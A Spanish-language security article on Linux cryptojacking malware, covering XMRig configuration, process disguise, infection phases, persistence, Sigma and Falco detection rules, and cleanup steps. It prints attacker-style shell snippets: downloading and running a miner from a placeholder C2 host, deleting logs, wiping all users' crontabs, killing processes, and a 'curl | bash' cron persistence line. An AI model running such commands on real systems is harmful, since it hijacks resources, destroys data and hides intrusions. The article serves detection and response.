Cryptominers en Linux: Detección, Respuesta y Cómo Eliminan a la Competencia
Análisis de malware de criptominería en Linux. XMRig como payload dominante, técnicas de ocultación de CPU, eliminación de miners competidores, persistencia, detección con auditd/Falco/top, y respuesta ante una infección de cryptojacking.
El malware más común en servidores Linux
El cryptominer es el tipo de malware más frecuente en servidores Linux. No es el más destructivo (ese honor es del ransomware ESXi) ni el más sigiloso (los rootkits), pero es el más prevalente por una razón económica simple: cada servidor Linux comprometido genera ingresos directos y continuos para el atacante.
La ecuación del atacante: comprometer 1.000 servidores con XMRig que generan 1 USD/día cada uno = 30.000 USD/mes. Con costes operativos mínimos (el atacante no paga electricidad ni hardware) y riesgo legal bajo (cryptojacking es menos perseguido que ransomware).
XMRig: el payload universal
XMRig es el software de minería de Monero más eficiente y es open source. Es legítimo cuando se usa con consentimiento. Es malware cuando se despliega sin autorización.
Configuración típica en malware
{
"autosave": false,
"cpu": {
"enabled": true,
"huge-pages": true,
"max-threads-hint": 75
},
"pools": [
{
"url": "pool.minexmr.com:443",
"user": "44AFFq5kSiGBoZ4NMDwYtN18NJ9ksKGRpFL...",
"pass": "x",
"tls": true,
"keepalive": true
}
],
"background": true,
"syslog": false
}
max-threads-hint: 75: el miner usa el 75% de los cores disponibles, dejando 25% para que el servidor siga funcionando. Si el servidor cae, la víctima investiga y elimina el miner.
Ofuscación del proceso
Los miners se renombran para pasar desapercibidos:
| Nombre real | Nombre disfrazado |
|---|---|
| xmrig | [kworker/0:2] (simula proceso del kernel) |
| xmrig | bioset (proceso legítimo del kernel) |
| xmrig | kswapd0 (proceso legítimo del kernel) |
| xmrig | /usr/sbin/sshd (simula SSH daemon) |
| xmrig | java (simula proceso Java) |
| xmrig | apache2 (simula Apache) |
La técnica: prctl(PR_SET_NAME, "kworker/0:2") cambia el nombre del proceso visible en /proc/[pid]/comm y ps.
Ciclo de vida de una infección
Fase 1: acceso inicial
| Vector | Prevalencia |
|---|---|
| SSH brute force | Muy alta |
| Vulnerabilidad web (Log4Shell, WebLogic, Confluence) | Alta |
| Docker/K8s API expuesta | Alta |
| Redis sin autenticación | Alta |
| Cron job malicioso via web shell | Media |
Fase 2: instalación
# Patron tipico (simplificado)
cd /tmp || cd /dev/shm || cd /var/tmp
wget http://c2.example.com/xmrig -O .systemd-private
chmod +x .systemd-private
nohup ./.systemd-private -c config.json &
# Eliminar evidencia de descarga
history -c
rm -f /var/log/auth.log /var/log/syslog
Fase 3: eliminación de competidores
Los miners modernos incluyen rutinas para eliminar otros miners:
# Kill procesos de miners conocidos
pkill -9 -f xmrig
pkill -9 -f minerd
pkill -9 -f kinsing
pkill -9 -f cryptonight
pkill -9 -f stratum
# Eliminar cronjobs de competidores
crontab -r
for user in $(cat /etc/passwd | cut -d: -f1); do
crontab -r -u $user 2>/dev/null
done
# Bloquear pools de competidores en /etc/hosts
echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts
echo "0.0.0.0 pool.hashvault.pro" >> /etc/hosts
# Matar procesos que consumen mucha CPU (probablemente otros miners)
for pid in $(top -bn1 | grep -E '^ *[0-9]+ .* (9[0-9]|100)\.' | awk '{print $1}'); do
kill -9 $pid
done
Fase 4: persistencia
| Mecanismo | Implementación |
|---|---|
| Crontab | */5 * * * * curl http://c2/update.sh | bash |
| Systemd service | Servicio que reinicia el miner si se detiene |
| .bashrc/.profile | Ejecutar miner al login del usuario |
| rc.local | Ejecutar al arranque del sistema |
| SSH authorized_keys | Añadir clave del atacante para re-acceso |
| Rootkit | Ocultar el miner del sistema (Diamorphine) |
Fase 5: ocultación de CPU
Técnicas para ocultar el uso de CPU:
Process hiding: renombrar proceso + rootkit para ocultar de top/ps
CPU throttling dinámico: reducir la minería cuando un usuario está conectado:
# Si hay sesion SSH activa: reducir a 25% CPU
# Si no hay nadie: minar al 100%
while true; do
if who | grep -q pts; then
# Alguien esta conectado
kill -STOP $MINER_PID # Pausar miner
else
kill -CONT $MINER_PID # Reanudar miner
fi
sleep 30
done
LD_PRELOAD hooking: interceptar sysconf(_SC_NPROCESSORS_ONLN) para reportar menos CPUs a herramientas de monitorización.
Detección
Indicadores de cryptojacking
| Indicador | Método de detección | Confianza |
|---|---|---|
| CPU uso mayor a 80% sostenido | top, htop, monitoring (Prometheus/Grafana) | Alta |
| Procesos con nombres de kernel que consumen CPU | ps aux --sort=-%cpu | head | Alta |
| Conexiones a mining pools | ss -tnp | grep :3333|:443 + DNS logs | Muy alta |
| Strings "stratum", "pool", "xmrig" en procesos | /proc/[pid]/cmdline, /proc/[pid]/maps | Muy alta |
| Crontab con descargas de scripts | crontab -l, /var/spool/cron/ | Alta |
| authorized_keys modificadas | cat ~/.ssh/authorized_keys | Alta |
Mining pools conocidos
| Pool | Dominio |
|---|---|
| MineXMR (cerrado 2022) | pool.minexmr.com |
| MoneroOcean | gulf.moneroocean.stream |
| HashVault | pool.hashvault.pro |
| SupportXMR | pool.supportxmr.com |
| Nanopool | xmr.nanopool.org |
| 2Miners | xmr.2miners.com |
| HeroMiners | monero.herominers.com |
Reglas de detección
Sigma rule:
title: Cryptocurrency Mining Process on Linux
id: a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6
status: stable
logsource:
category: process_creation
product: linux
detection:
selection_process:
Image|endswith:
- '/xmrig'
- '/minerd'
- '/cpuminer'
selection_cmdline:
CommandLine|contains:
- 'stratum+tcp'
- 'stratum+ssl'
- 'pool.minexmr'
- 'pool.hashvault'
- 'moneroocean'
- 'randomx'
- '--donate-level'
condition: selection_process or selection_cmdline
level: critical
tags:
- attack.resource_hijacking
- attack.t1496
Falco rule:
- rule: Detect Cryptocurrency Mining
desc: Detects processes communicating with known mining pools
condition: >
spawned_process and
(proc.cmdline contains "stratum" or
proc.cmdline contains "xmrig" or
proc.cmdline contains "minerd" or
proc.name in (xmrig, minerd, cpuminer))
output: >
Cryptocurrency miner detected (user=%user.name command=%proc.cmdline
container=%container.name image=%container.image.repository)
priority: CRITICAL
Network detection
# Buscar conexiones a puertos de mining pools
ss -tnp | grep -E ':3333|:4444|:5555|:7777|:8888|:9999|:14433'
# DNS queries a pools conocidos
grep -E '(minexmr|hashvault|moneroocean|supportxmr|nanopool|2miners|herominers)' /var/log/syslog
# tcpdump para stratum protocol
tcpdump -A -i any port 3333 2>/dev/null | grep -i stratum
Respuesta
Procedimiento de limpieza
# 1. Identificar el proceso miner
top -bn1 | head -20
ps aux --sort=-%cpu | head -10
# 2. Matar el proceso
kill -9 [PID]
# 3. Eliminar binario
find / -name "xmrig" -o -name ".systemd-private" -o -name "kswapd0" 2>/dev/null
rm -f /tmp/.* /dev/shm/.* /var/tmp/.*
# 4. Limpiar persistencia
crontab -l | grep -v "curl\|wget\|bash\|mining" | crontab -
# Verificar cada usuario
for user in $(cut -d: -f1 /etc/passwd); do
crontab -l -u $user 2>/dev/null
done
# Verificar systemd
systemctl list-units --type=service | grep -v "loaded active"
# Verificar authorized_keys
cat ~/.ssh/authorized_keys # Eliminar claves desconocidas
# 5. Verificar /etc/hosts (miners añaden entradas para bloquear competidores)
cat /etc/hosts | grep -v "0.0.0.0" > /tmp/hosts.clean
cp /tmp/hosts.clean /etc/hosts
# 6. Cambiar contraseñas y verificar accesos
passwd # Cambiar password de root
# Revocar SSH keys sospechosas
# Verificar logs de acceso: /var/log/auth.log
# 7. Parchear el vector de entrada
# Actualizar software vulnerable
# Cambiar credenciales comprometidas
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto cryptomining |
|---|---|---|
| Resource Hijacking | T1496 | Uso de CPU para minería |
| Exploit Public-Facing Application | T1190 | Acceso inicial via vulnerabilidad |
| Brute Force | T1110 | SSH brute force |
| Scheduled Task/Job: Cron | T1053.003 | Persistencia via crontab |
| Account Manipulation: SSH Authorized Keys | T1098.004 | Persistencia via SSH keys |
| Indicator Removal | T1070 | Limpieza de logs |
| Impair Defenses | T1562 | Matar competidores, deshabilitar seguridad |
Fuentes y referencias
- Sysdig. "2024 Cloud Threat Report: Cryptojacking Statistics." Sysdig.
- Aqua Security. "TeamTNT: The Evolution of Cloud-Native Threats." Aqua, 2023.
- Trend Micro. "Linux Cryptomining Threats." Trend Micro Research, 2024.
- XMRig. "XMRig: High Performance Monero Miner." https://xmrig.com/
- CrowdStrike. "Cryptojacking in Enterprise Environments." 2024.
- Falco. "Runtime Security Rules for Cryptomining." https://falco.org/
- MITRE ATT&CK. "Resource Hijacking (T1496)." https://attack.mitre.org/techniques/T1496/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Malware en Contenedores: Docker y Kubernetes como Superficie de Ataque
Botnets Linux: Mirai y Sus Variantes que Siguen Dominando el IoT
Análisis de Malware en Linux: Herramientas Esenciales y Metodología
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
Sigma para Lateral Movement: 8 Reglas de Detección de Movimiento Lateral
Sigma para Ransomware: 10 Reglas que Todo SOC Necesita Desplegadas
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.